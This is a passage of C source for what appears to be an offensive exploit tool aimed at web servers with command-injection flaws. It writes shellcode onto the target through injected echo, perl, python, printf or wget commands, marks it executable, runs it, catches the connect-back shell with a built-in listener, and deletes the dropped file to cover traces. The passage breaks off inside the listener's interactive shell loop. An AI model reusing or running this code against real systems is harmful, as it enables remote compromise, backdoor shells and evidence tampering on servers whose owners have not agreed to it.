1405             send(sd, data, strlen(data), 0);
1406     #endif
1407 
1408 
1409     /*
1410      * Apache kills (or something similar) the child process if the HEAD
1411      * transfer is too fast (i.e. finishes faster than the script can
1412      * execute). Because of this, we usleep() some, so that the HEAD request
1413      * is given a chance to do what we want. This may not apply to all
1414      * versions of Apache, though.
1415      */
1416     if (type == httpclient_head) {
1417         #ifdef WIN32
1418             Sleep(100);
1419         #else
1420             usleep(100000);
1421         #endif
1422     }
1423 
1424 
1425     while (1) {
1426         fd_set fds;
1427         struct timeval to;
1428         to.tv_sec = httpclient_recv_timeout;
1429         to.tv_usec = 0;
1430 
1431         FD_ZERO(&fds);
1432         FD_SET(sd, &fds);
1433 
1434       #ifdef WIN32
1435         if (select(FD_SETSIZE, &fds, NULL, NULL, &to) != SOCKET_ERROR) {
1436       #else
1437         if (select(FD_SETSIZE, &fds, NULL, NULL, &to) > 0) {
1438       #endif
1439             int cnt;
1440             if (FD_ISSET(sd, &fds)) {
1441                 #if defined WITH_SSL
1442                     if (protocol == httpclient_https) {
1443                         if ((cnt = SSL_read(ssl, xbuf, sizeof(xbuf))) <= 0) {
1444                             int err;
1445                             err = SSL_get_error(ssl, cnt);
1446                             if (err == SSL_ERROR_WANT_READ)
1447                                 continue;
1448                             else
1449                                 break;
1450                         }
1451                     } else {
1452                         #ifdef WIN32
1453                         if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) == SOCKET_ERROR) {
1454                             int wsaerr = WSAGetLastError();
1455                             if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
1456                                 continue;
1457                             } else {
1458                                 break;
1459                             }
1460                         } else if (cnt == 0) {
1461                             break;
1462                         }
1463                         #else
1464                         if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) < 1) {
1465                             if ((cnt) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
1466                                 continue;
1467                             } else {
1468                                 break;
1469                             }
1470                         }
1471                         #endif
1472                     }
1473                 #else
1474                     #ifdef WIN32
1475                     if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) == SOCKET_ERROR) {
1476                         int wsaerr = WSAGetLastError();
1477                         if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
1478                             continue;
1479                         } else {
1480                             break;
1481                         }
1482                     } else if (cnt == 0) {
1483                         break;
1484                     }
1485                     #else
1486                     if ((cnt = recv(sd, xbuf, sizeof(xbuf), 0)) < 1) {
1487                         if ((cnt) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
1488                             continue;
1489                         } else {
1490                             break;
1491                         }
1492                     }
1493                     #endif
1494                 #endif
1495                 //write(STDOUT_FILENO, xbuf, cnt);
1496             }
1497         } else {
1498             break;
1499         }
1500     }
1501 
1502     #if defined WITH_SSL
1503         if (protocol == httpclient_https) {
1504             SSL_shutdown(ssl);
1505             close(sd);
1506             SSL_free(ssl);
1507         } else {
1508             #ifdef WIN32
1509                 closesocket(sd);
1510             #else
1511                 close(sd);
1512             #endif
1513         }
1514     #else
1515         #ifdef WIN32
1516             closesocket(sd);
1517         #else
1518             close(sd);
1519         #endif
1520     #endif
1521 
1522     return 0;
1523 }
1524 /*
1525  * end of mini-wwwclient
1526  */
1527 
1528 
1529 
1530 
1531 char *percentencode(char *string) {
1532 /*
1533  * url-encodes a string, for use in web environment, e.g.
1534  *
1535  * char *string is a null-terminated string to urlencode. percentencode() will
1536  * return a pointer to the url-encoded string (null-terminated), or NULL if
1537  * malloc() wouldn't allocate maximum space needed to url-encode the string.
1538  *
1539  * the pointer returned should be free()'d before calling percentencode()
1540  * again!
1541  *
1542  */
1543 	unsigned int length, a, y, z;
1544 	int x = 0;
1545 	static char *memory;
1546 
1547 	length = strlen(string);
1548 
1549 	if (length) {
1550 		if ((memory = malloc(length*3)) == NULL)
1551 			return NULL;
1552 	} else {
1553 		if ((memory = malloc(1)) == NULL)
1554 			return NULL;
1555 		memory[0] = '\0';
1556 		return memory;
1557 	}
1558 
1559 	for (a = 0; string[a] != 0; a++) {
1560 		if (string[a] >= '0' && string[a] <= '9') {
1561 			memory[x] = string[a]; x++;
1562 			continue;
1563 		} else if (string[a] >= 'A' && string[a] <= 'Z') {
1564 			memory[x] = string[a]; x++;
1565 			continue;
1566 		} else if (string[a] >= 'a' && string[a] <= 'z') {
1567 			memory[x] = string[a]; x++;
1568 			continue;
1569 		} else if (string[a] == '.' || string[a] == ',' || string[a] == '-' || string[a] == '_' || string[a] == '/') {
1570 			memory[x] = string[a]; x++;
1571 			continue;
1572 		} else if (string[a] == ' ') {
1573 			memory[x] = '+'; x++;
1574 		} else {
1575 		/* else urlencode it */
1576 
1577 			memory[x] = '%'; x++;
1578 
1579 			y = string[a];
1580 
1581 			z = y;
1582 			z &= 0xF0;
1583 			z >>= 4;
1584 			if (z >= 0 && z <= 9) {
1585 				z += 0x30;
1586 			} else {
1587 				z -= 0x0A;
1588 				z += 0x41;
1589 			}
1590 			memory[x] = z; x++;
1591 
1592 			z = y;
1593 			z &= 0x0F;
1594 			if (z >= 0 && z <= 9) {
1595 				z += 0x30;
1596 			} else {
1597 				z -= 0x0A;
1598 				z += 0x41;
1599 			}
1600 			memory[x] = z; x++;
1601 
1602 			continue;
1603 		}
1604 	}
1605 	memory[x] = 0;
1606 	return memory;
1607 }
1608 
1609 
1610 
1611 char *decodehex(char *input, FILE *fp) {
1612 /*
1613  * ascii hex decoder
1614  * input *must only* consist of \x?? ascii hex, no other chars.
1615  * decodehex will return an allocated decoded string with the output.
1616  * output will also be written to a file pointer, if not null.
1617  */
1618     int a, x, y;
1619     char *decoded;
1620 
1621     if (!input)
1622         return NULL;
1623 
1624     if (strlen(input) < 4)
1625         return NULL;
1626 
1627     /* allocate some memory */
1628     x = (int)((strlen(input) / 4) + 16);
1629     if (!(decoded = (char*)malloc(x)))
1630         return NULL;
1631 
1632     a = 0;
1633     x = 0;
1634     while (input[a]) {
1635         if (input[a] != '\\')
1636             return NULL;
1637 
1638         /* get the "x" in \x?? */
1639         a++;
1640         if (!((input[a] == 'x') || (input[a] == 'X'))) {
1641             free(decoded);
1642             return NULL;
1643         }
1644 
1645         /* get the first ascii hex num (the first nibble) */
1646         a++;
1647         if ((input[a] >= '0') && (input[a] <= '9')) {
1648             y = (input[a] - '0') * 16;
1649         } else if ((input[a] >= 'A') && (input[a] <= 'F')) {
1650             y = ((input[a] - 'A') + 10) * 16;
1651         } else if ((input[a] >= 'a') && (input[a] <= 'f')) {
1652             y = ((input[a] - 'a') + 10) * 16;
1653         } else {
1654             free(decoded);
1655             return NULL;
1656         }
1657 
1658         /* get the second ascii hex num (the second nibble) */
1659         a++;
1660         if ((input[a] >= '0') && (input[a] <= '9')) {
1661             y += (input[a] - '0');
1662         } else if ((input[a] >= 'A') && (input[a] <= 'F')) {
1663             y += ((input[a] - 'A') + 10);
1664         } else if ((input[a] >= 'a') && (input[a] <= 'f')) {
1665             y += ((input[a] - 'a') + 10);
1666         } else {
1667             free(decoded);
1668             return NULL;
1669         }
1670 
1671         decoded[x] = y;
1672         x++;
1673 
1674         /* loop */
1675         a++;
1676     }
1677 
1678     /* null terminate it, in case it's ascii */
1679     decoded[x] = 0;
1680 
1681     /* write output to file pointer */
1682     if (fp)
1683         fwrite(decoded, x, 1, fp);
1684 
1685     return decoded;
1686 }
1687 
1688 
1689 
1690 /*
1691  * decodeoctal isn't used anymore, everything is ascii-encoded hex
1692  *
1693 char *decodeoctal(char *input, FILE *fp) {
1694     int a, x, y;
1695     char *decoded;
1696 
1697     if (!input)
1698         return NULL;
1699 
1700     if (strlen(input) < 4)
1701         return NULL;
1702 
1703     // allocate some memory
1704     x = (int)((strlen(input) / 4) + 16);
1705     if (!(decoded = (char*)malloc(x)))
1706         return NULL;
1707 
1708     a = 0;
1709     x = 0;
1710     while (input[a]) {
1711         if (input[a] != '\\')
1712             return NULL;
1713 
1714         // get first num
1715         a++;
1716         if ((input[a] < '0') || (input[a] > '9')) {
1717             free(decoded);
1718             return NULL;
1719         }
1720         y = (input[a]-'0') * 64;
1721 
1722         // get second num
1723         a++;
1724         if ((input[a] < '0') || (input[a] > '9')) {
1725             free(decoded);
1726             return NULL;
1727         }
1728         y += (input[a]-'0') * 8;
1729 
1730         // get third num
1731         a++;
1732         if ((input[a] < '0') || (input[a] > '9')) {
1733             free(decoded);
1734             return NULL;
1735         }
1736         y += (input[a] - '0');
1737 
1738         decoded[x] = y;
1739         x++;
1740 
1741         // loop
1742         a++;
1743     }
1744 
1745     // null terminate it, in case it's ascii
1746     decoded[x] = 0;
1747 
1748     // write output to file pointer
1749     if (fp)
1750         fwrite(decoded, x, 1, fp);
1751 
1752     return decoded;
1753 }
1754 */
1755 
1756 
1757 
1758 /* print_target() extracts the hostname from an url and writes it to stdout */
1759 void print_target(char *u) {
1760     int a;
1761     char *tempp, *xurl;
1762     char slashslash[] = "//";
1763 
1764     if (!u)
1765         return;
1766 
1767     if (!(xurl = strdup(u)))
1768         return;
1769 
1770     if (!(tempp = strstr(xurl, slashslash))) {
1771         tempp = xurl;
1772     } else {
1773         tempp += strlen(slashslash);
1774     }
1775 
1776     a = 0;
1777     while (tempp[a]) {
1778         if (tempp[a] == '/' || tempp[a] == ':') {
1779             tempp[a] = 0;
1780             break;
1781         }
1782         a++;
1783     }
1784 
1785     printf("[i] target: %s\n", tempp);
1786     free(xurl);
1787 }
1788 
1789 
1790 
1791 /* wipeout() removes the installed shellcode file */
1792 void wipeout() {
1793     #ifdef WIN32
1794       if (!pongsilent)
1795     #else
1796       if (!silent)
1797     #endif
1798         printf("[i] attempting to erase installed shellcode from target box\n");
1799 
1800     /* run shred -fu <tmpfile> on target box */
1801 /*
1802     if (!silent)
1803         printf("[+] running \"shred -fu %s\" on target\n", TMPFILE);
1804 
1805     if (!httpget) { // POST
1806         snprintf(buf, sizeof(buf), "%s/%s", url, cgi);
1807         snprintf(buf2, sizeof(buf2), "%sshred%%20%%2Dfu%%20%s%s",
1808             y_opt, TMPFILE, z_opt);
1809         httpclient("POST", buf, user_agent, buf2, silent);
1810     } else {    // GET
1811         snprintf(buf, sizeof(buf), "%s/%s%sshred%%20%%2Dfu%%20%s%s",
1812             url, cgi, y_opt, TMPFILE, z_opt);
1813         httpclient(httpmethod, buf, user_agent, NULL, silent);
1814     }
1815 */
1816 
1817 
1818     /* run rm -f <tmpfile> on target box */
1819     #ifdef WIN32
1820       if (!pongsilent)
1821     #else
1822       if (!silent)
1823     #endif
1824         printf("[+] running \"rm -f %s\" on target\n", TMPFILE);
1825 
1826     if (!httpget) { /* POST */
1827         snprintf(buf, sizeof(buf), "%s", url);
1828         snprintf(buf2, sizeof(buf2), "%srm%%20%%2Df%%20%s%s",
1829             y_opt, TMPFILE, z_opt);
1830         httpclient("POST", buf, user_agent, buf2,
1831         #ifdef WIN32
1832             pongsilent);
1833         #else
1834             silent);
1835         #endif
1836     } else {    /* GET */
1837         snprintf(buf, sizeof(buf), "%s%srm%%20%%2Df%%20%s%s",
1838             url, y_opt, TMPFILE, z_opt);
1839         httpclient(httpmethod, buf, user_agent, NULL,
1840         #ifdef WIN32
1841             pongsilent);
1842         #else
1843             silent);
1844         #endif
1845     }
1846 
1847     #ifdef WIN32
1848       if (!pongsilent)
1849     #else
1850       if (!silent)
1851     #endif
1852         printf("[i] shellcode wipe finished\n");
1853 
1854     return;
1855 }
1856 
1857 /* ping() attempts to install our shellcode on the target box */
1858 void ping(void) {
1859     if (!silent) {
1860         printf("[+] attempting to inject shellcode into target\n");
1861         if (httpget && !dumpout && !wgeturl)
1862             printf("[i] to fit into a 1024 byte %s request the shellcode will be split up\n", httpmethod);
1863     }
1864     /* attempt to inject our shellcode into the target box */
1865 
1866     if (wgeturl) {
1867         /* the wget method is very different from the regular injection methods */
1868         if (!httpget) { /* POST */
1869             snprintf(buf, sizeof(buf), "%s", url);
1870             snprintf(buf2, sizeof(buf2), "%s%swget%%20%%2DYoff%%20%%2Dq%%20%%2DO%%20%s%%20%s%s",
1871                 y_opt, imprefix, TMPFILE, wgeturl, z_opt);
1872             httpclient("POST", buf, user_agent, buf2, silent);
1873         } else {    /* GET */
1874             snprintf(buf, sizeof(buf), "%s%s%swget%%20%%2DYoff%%20%%2Dq%%20%%2DO%%20%s%%20%s%s",
1875                 url, y_opt, imprefix, TMPFILE, wgeturl, z_opt);
1876             httpclient(httpmethod, buf, user_agent, NULL, silent);
1877         }
1878     } else {
1879         /* regular, non-wget injection method, the preferred way to go */
1880 
1881         if (!httpget) { /* POST */
1882             if (!(shellcode_split1 = percentencode(shellcode_p))) {
1883                 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1884                 return;
1885             }
1886         } else {    /* GET */
1887             /* our GET request must be less than 1024 bytes, so we'll split the shellcode in pieces */
1888 
1889             /* we calculate it like this in order to be 4-byte aligned at all times */
1890             i = (int)strlen(shellcode_p) / (int)4;    /* each ascii-hex is 4 bytes */
1891             i /= (int)4; /* we want to split the shellcode into 4 pieces */
1892             i *= (int)4; /* ascii-encoded hex is 4 bytes */
1893 
1894             if (i >= 1024) {
1895                 fprintf(stderr, "[?] heap may overflow, shellcode need to be split in more pieces\n");
1896                 return;
1897             }
1898 
1899             if (!(tempmem1 = malloc(1024))) {
1900                 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1901                 return;
1902             }
1903             if (!(tempmem2 = malloc(1024))) {
1904                 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1905                 return;
1906             }
1907             if (!(tempmem3 = malloc(1024))) {
1908                 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1909                 return;
1910             }
1911             if (!(tempmem4 = malloc(1024))) {
1912                 fprintf(stderr, "[?] malloc(): %s\n", strerror(errno));
1913                 return;
1914             }
1915 
1916             /* split me sideways baby... */
1917             strncpy(tempmem1, shellcode_p, i);
1918             tempmem1[i] = 0;
1919             strncpy(tempmem2, shellcode_p+i, i);
1920             tempmem2[i] = 0;
1921             strncpy(tempmem3, shellcode_p+i+i, i);
1922             tempmem3[i] = 0;
1923             memset(tempmem4, 0, 1024);
1924             strncpy(tempmem4, shellcode_p+i+i+i, i);
1925 
1926 
1927             if (!(shellcode_split1 = percentencode(tempmem1))) {
1928                 fprintf(stderr, "[?] percentencode() failed!\n");
1929                 return;
1930             }
1931             if (!(shellcode_split2 = percentencode(tempmem2))) {
1932                 fprintf(stderr, "[?] percentencode() failed!\n");
1933                 return;
1934             }
1935             if (!(shellcode_split3 = percentencode(tempmem3))) {
1936                 fprintf(stderr, "[?] percentencode() failed!\n");
1937                 return;
1938             }
1939             if (!(shellcode_split4 = percentencode(tempmem4))) {
1940                 fprintf(stderr, "[?] percentencode() failed!\n");
1941                 return;
1942             }
1943 
1944             free(tempmem1);
1945             free(tempmem2);
1946             free(tempmem3);
1947             free(tempmem4);
1948         }
1949 
1950         if (injection_method == IM_PERL) {
1951             /* use perl as injection method */
1952             if (!httpget) { /* POST */
1953                 snprintf(buf, sizeof(buf), "%s", url);
1954                 snprintf(buf2, sizeof(buf2), "%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%s%s",
1955                     y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1956                 httpclient("POST", buf, user_agent, buf2, silent);
1957             } else {    /* GET */
1958                 puts(piece1_text);
1959                 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%s%s",
1960                     url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1961                 httpclient(httpmethod, buf, user_agent, NULL, silent);
1962 
1963                 puts(piece2_text);
1964                 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%%3E%s%s",
1965                     url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
1966                 httpclient(httpmethod, buf, user_agent, NULL, silent);
1967 
1968                 puts(piece3_text);
1969                 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%%3E%s%s",
1970                     url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
1971                 httpclient(httpmethod, buf, user_agent, NULL, silent);
1972 
1973                 puts(piece4_text);
1974                 snprintf(buf, sizeof(buf), "%s%s%sperl%%20-e%%20%%22print%%20%%5C%%22%s%%5C%%22%%22%%20%%3E%%3E%s%s",
1975                     url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
1976                 httpclient(httpmethod, buf, user_agent, NULL, silent);
1977             }
1978         } else if (injection_method == IM_PYTHON) {
1979             /* use python as injection method */
1980             if (!httpget) { /* POST */
1981                 snprintf(buf, sizeof(buf), "%s", url);
1982                 snprintf(buf2, sizeof(buf2), "%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%s%s",
1983                     y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1984                 httpclient("POST", buf, user_agent, buf2, silent);
1985             } else {    /* GET */
1986                 puts(piece1_text);
1987                 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%s%s",
1988                     url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
1989                 httpclient(httpmethod, buf, user_agent, NULL, silent);
1990 
1991                 puts(piece2_text);
1992                 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%%3E%s%s",
1993                     url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
1994                 httpclient(httpmethod, buf, user_agent, NULL, silent);
1995 
1996                 puts(piece3_text);
1997                 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%%3E%s%s",
1998                     url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
1999                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2000 
2001                 puts(piece4_text);
2002                 snprintf(buf, sizeof(buf), "%s%s%spython%%20-c%%20%%22__import__%%28%%5C%%22sys%%5C%%22%%29.stdout.write%%28%%5C%%22%s%%5C%%22%%29%%22%%20%%3E%%3E%s%s",
2003                     url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
2004                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2005             }
2006         } else if (injection_method == IM_PRINTF) {
2007             /* use printf as injection method */
2008             if (!httpget) { /* POST */
2009                 snprintf(buf, sizeof(buf), "%s", url);
2010                 snprintf(buf2, sizeof(buf2), "%s%sprintf%%20%%22%s%%22%%20%%3E%s%s",
2011                     y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2012                 httpclient("POST", buf, user_agent, buf2, silent);
2013             } else {    /* GET */
2014                 puts(piece1_text);
2015                 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%s%s",
2016                     url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2017                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2018 
2019                 puts(piece2_text);
2020                 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%%3E%s%s",
2021                     url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
2022                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2023 
2024                 puts(piece3_text);
2025                 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%%3E%s%s",
2026                     url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
2027                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2028 
2029                 puts(piece4_text);
2030                 snprintf(buf, sizeof(buf), "%s%s%sprintf%%20%%22%s%%22%%20%%3E%%3E%s%s",
2031                     url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
2032                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2033             }
2034         } else {
2035             /* use echo -ne as injection method */
2036             if (!httpget) { /* POST */
2037                 snprintf(buf, sizeof(buf), "%s", url);
2038                 snprintf(buf2, sizeof(buf2), "%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%s%s",
2039                     y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2040                 httpclient("POST", buf, user_agent, buf2, silent);
2041             } else {    /* GET */
2042                 puts(piece1_text);
2043                 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%s%s",
2044                     url, y_opt, imprefix, shellcode_split1, TMPFILE, z_opt);
2045                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2046 
2047                 puts(piece2_text);
2048                 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%%3E%s%s",
2049                     url, y_opt, imprefix, shellcode_split2, TMPFILE, z_opt);
2050                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2051 
2052                 puts(piece3_text);
2053                 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%%3E%s%s",
2054                     url, y_opt, imprefix, shellcode_split3, TMPFILE, z_opt);
2055                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2056 
2057                 puts(piece4_text);
2058                 snprintf(buf, sizeof(buf), "%s%s%secho%%20-ne%%20%%22%s%%22%%20%%3E%%3E%s%s",
2059                     url, y_opt, imprefix, shellcode_split4, TMPFILE, z_opt);
2060                 httpclient(httpmethod, buf, user_agent, NULL, silent);
2061             }
2062         }
2063     }
2064 
2065     /* attempt to chmod 755 our shellcode on the target box */
2066 
2067     if (!httpget) { /* POST */
2068         snprintf(buf, sizeof(buf), "%s", url);
2069         snprintf(buf2, sizeof(buf2), "%schmod%%20755%%20%s%s",
2070             y_opt, TMPFILE, z_opt);
2071         httpclient("POST", buf, user_agent, buf2, silent);
2072     } else {    /* GET */
2073         snprintf(buf, sizeof(buf), "%s%schmod%%20755%%20%s%s",
2074             url, y_opt, TMPFILE, z_opt);
2075         httpclient(httpmethod, buf, user_agent, NULL, silent);
2076     }
2077 
2078     /* ok, either it's installed or it failed... either way, we'll go for the next phase, pong() */
2079     return;
2080 }
2081 
2082 /* pong() attempts to execute the shellcode on the target box */
2083 void pong(void) {
2084     /* buffers and temporary variables, can't use the global buf here since
2085        listener() is using them, won't work when we're threaded under win32 */
2086     char pongbuf[4096];
2087     char pongbuf2[4096];
2088     #ifdef WIN32
2089       if (!pongsilent)
2090     #else
2091       if (!silent)
2092     #endif
2093         printf("[+] moment of truth; requesting injected shellcode to connect\n");
2094 
2095     if (!httpget) { /* POST */
2096         snprintf(pongbuf, sizeof(pongbuf), "%s", url);
2097         snprintf(pongbuf2, sizeof(pongbuf2), "%sexec%%20%s%s",
2098             y_opt, TMPFILE, z_opt);
2099         httpclient("POST", pongbuf, user_agent, pongbuf2,
2100         #ifdef WIN32
2101             pongsilent);
2102         #else
2103             silent);
2104         #endif
2105     } else {  /* GET */
2106         snprintf(pongbuf, sizeof(pongbuf), "%s%sexec%%20%s%s",
2107             url, y_opt, TMPFILE, z_opt);
2108         httpclient(httpmethod, pongbuf, user_agent, NULL,
2109         #ifdef WIN32
2110             pongsilent);
2111         #else
2112             silent);
2113         #endif
2114     }
2115 
2116     #ifdef WIN32
2117       if (!pongsilent)
2118     #else
2119       if (!silent)
2120     #endif
2121         printf("[i] request done\n");
2122 
2123     return;
2124 }
2125 
2126 
2127 #ifndef WIN32
2128 /* signalhandler, for the listener() function below */
2129 void signalhandler(int signum) {
2130     switch(signum) {
2131         case SIGALRM:
2132             if (!silent)
2133                 printf("[i] operation timed out!\n");
2134             exit(0);
2135         case SIGCHLD:
2136             wait(0);
2137             break;
2138         default:
2139             break;
2140     }
2141     return;
2142 }
2143 #endif
2144 
2145 /* listener() works just like "nc -l -p lport" */
2146 void listener(void) {
2147     #ifdef WIN32
2148         SOCKET sd;
2149         SOCKET clisd;
2150         int clilen;
2151     #else
2152         int sd, clisd;
2153         socklen_t clilen;
2154     #endif
2155 
2156     static int sopt = 1;
2157     struct sockaddr_in servAddr, cliAddr;
2158 
2159   #ifdef WIN32
2160     if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
2161   #else
2162     if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
2163   #endif
2164         fprintf(stderr, "[?] cannot open socket: %s\n",
2165         #ifdef WIN32
2166         WSAstrerror(WSAGetLastError())
2167         #else
2168         strerror(errno)
2169         #endif
2170         );
2171         return;
2172     }
2173 
2174     /* bind to lport, any address */
2175     servAddr.sin_family = AF_INET;
2176     servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
2177     servAddr.sin_port = htons(lport);
2178 
2179     /* set REUSEADDR socket option */
2180 
2181   #ifdef WIN32
2182     if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
2183   #else
2184     if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
2185   #endif
2186         fprintf(stderr, "[?] setsockopt(): %s\n",
2187         #ifdef WIN32
2188         WSAstrerror(WSAGetLastError())
2189         #else
2190         strerror(errno)
2191         #endif
2192         );
2193         return;
2194     }
2195     /* call bind() */
2196     if (bind(sd, (struct sockaddr*) &servAddr, sizeof(servAddr))) {
2197         fprintf(stderr, "[?] could not bind(): %s\n",
2198         #ifdef WIN32
2199         WSAstrerror(WSAGetLastError())
2200         #else
2201         strerror(errno)
2202         #endif
2203         );
2204         return;
2205     }
2206     /* listen for incoming connections */
2207     if (listen(sd, 1)) {
2208         fprintf(stderr, "[?] listen(): %s\n",
2209         #ifdef WIN32
2210         WSAstrerror(WSAGetLastError())
2211         #else
2212         strerror(errno)
2213         #endif
2214         );
2215         return;
2216     }
2217 
2218     if (!silent) {
2219       #ifdef WIN32
2220         printf("[+] listening for incoming connection on port %u\n", lport);
2221       #else
2222         printf("[+] listening for incoming connection on port %u, ", lport);
2223         if (timeout)
2224             printf("timeout is %u seconds\n", timeout);
2225         else
2226             printf("no timeout\n");
2227       #endif
2228     }
2229 
2230     #ifndef WIN32
2231         /* SIGALRM doesn't exist under win32, and we don't implement the
2232          * windows-specific alarm().
2233          */
2234         if (timeout) {
2235             /* install a signal handler to timeout */
2236             signal(SIGALRM, signalhandler);
2237             /* set alarm to go off at <timeout> seconds */
2238             alarm(timeout);
2239         }
2240     #endif
2241 
2242     /* accept new connections, this will block */
2243     clilen = sizeof(cliAddr);
2244   #ifdef WIN32
2245     if ((clisd = accept(sd, (struct sockaddr *)&cliAddr, &clilen)) == INVALID_SOCKET) {
2246   #else
2247     if ((clisd = accept(sd, (struct sockaddr *)&cliAddr, &clilen)) < 0) {
2248   #endif
2249         fprintf(stderr, "[?] accept(): %s\n",
2250         #ifdef WIN32
2251         WSAstrerror(WSAGetLastError())
2252         #else
2253         strerror(errno)
2254         #endif
2255         );
2256         return;
2257     }
2258 
2259     /* close listening socket, we won't need it */
2260     #ifdef WIN32
2261         closesocket(sd);
2262     #else
2263         close(sd);
2264     #endif
2265 
2266     #ifndef WIN32
2267     /* uninstall signal handler for SIGALRM, we don't want it to time out now,
2268      * since we've got an open connection
2269      */
2270     signal(SIGALRM, SIG_IGN);
2271     #endif
2272 
2273     if (!silent) {
2274         printf("[i] got connection from %s:%u\n",
2275             inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port));
2276     }
2277 
2278     fflush(stdout);
2279     fflush(stderr);
2280 
2281 
2282     if (!only_listen) {
2283         sprintf(buf, "uname -a ; shred -fu %s ; rm -f %s ; w ; pwd\n",
2284             TMPFILE, TMPFILE);
2285         send(clisd, buf, strlen(buf), 0);
2286     }
2287 
2288 #ifdef WIN32
2289     /* win32 readwrite code */
2290 
2291     { /* new frame */
2292         int stdin_is_tty;
2293 
2294         if (!_isatty(STDOUT_FILENO)) {
2295             _setmode(STDOUT_FILENO, _O_BINARY);
2296         }
2297         if ((stdin_is_tty = _isatty(STDIN_FILENO)) == FALSE) {
2298             _setmode(STDIN_FILENO, _O_BINARY);
2299         }
2300 
2301         while (1) {
2302             fd_set fds;
2303             struct timeval tv;
2304 
2305             FD_ZERO(&fds);
2306             FD_SET(clisd, &fds);
2307             tv.tv_sec = 0;
2308             tv.tv_usec = 1000;
2309 
2310             if (select(FD_SETSIZE, &fds, NULL, NULL, &tv) != SOCKET_ERROR) {
2311                 int cnt;
2312                 if (FD_ISSET(clisd, &fds)) {
2313                     if ((cnt = recv(clisd, buf, sizeof(buf), 0)) == SOCKET_ERROR) {
2314                         int wsaerr = WSAGetLastError();
2315                         if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
2316                             continue;
2317                         } else {
2318                             break;
2319                         }
2320                     } else if (cnt == 0) {
2321                         break;
2322                     }
2323                     write(STDOUT_FILENO, buf, cnt);
2324                 }
2325             } else {
2326                 fprintf(stderr, "[?] select(): %s\n", WSAstrerror(WSAGetLastError()));
2327                 break;
2328             }
2329 
2330 
2331             if (stdin_is_tty) {
2332                 if (kbhit()) {
2333                     int cnt = read(STDIN_FILENO, buf, sizeof(buf));
2334                     if (cnt <= 0) {
2335                         close(STDIN_FILENO);
2336                         break;
2337                     } else {
2338                         send(clisd, buf, cnt, 0);
2339                     }
2340                 }
2341             } else {
2342                 /* this will block until a CR is received for every loop :( */
2343                 int cnt = read(STDIN_FILENO, buf, sizeof(buf));
